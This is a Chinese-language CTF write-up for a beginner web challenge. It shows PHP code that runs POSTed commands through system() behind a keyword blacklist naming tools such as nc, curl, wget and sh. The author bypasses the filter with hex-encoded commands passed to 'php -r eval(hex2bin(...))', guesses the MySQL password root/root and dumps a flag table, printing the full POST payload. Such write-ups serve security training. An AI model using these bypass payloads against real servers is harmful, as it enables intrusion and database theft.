属于web签到了
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
我第一次见到escapeshellcmd()这个函数,不过可以搜一搜就知道了
观察代码并没有发现禁用php,尝试用php -r 去执行php命令
首先去访问phpinfo,发现可以,但通过一些简单的绕过尝试发现不行
因为linux好多指令被禁用了,考虑16进制-2进制
同样eval函数也没有ban,但base64ban了用到16进制,因为过滤了引号,用到了截断绕过。substr函数
用到hex2bin(substr(_16进制,1)),保证hex2bin能够处理16进制值
OK
去构造ls
也就是说16进制=6563686f20606c73202f60
发现不存在flag的提示,考虑数据库(经验所得)
那么就得去想办法知道数据库的username和password
那么一般这种情况去尝试弱口令(有些数据库或者后台直接弱口令就出来了)
尝试root 123
发现不行
尝试root root 发现可以也就是我们可以尝试拿到库名和表名也就是说hex2bin(substr(_16进制,1)),这里面的16进制为6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b2760(库名)
拿到PHP_CMS(曾经做校赛的时候,遇到渗透题,sqlmap跑看到有PHP_CMS,没继续往下搜,觉得方法不对,然后就弱口令进到后台拿到flag直接非预期hhh,其实当时flag就在PHP_CMS里。。。题外话了),所以这次看到PHP_CMS直接往里面看
16进制=6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b2760(表名)
Ok这下拿到了表名,一眼丁真,
“F1ag_Se3Re7”
16进制=6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b
payload:cmd=php-reval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));
(记得是POST提交)!!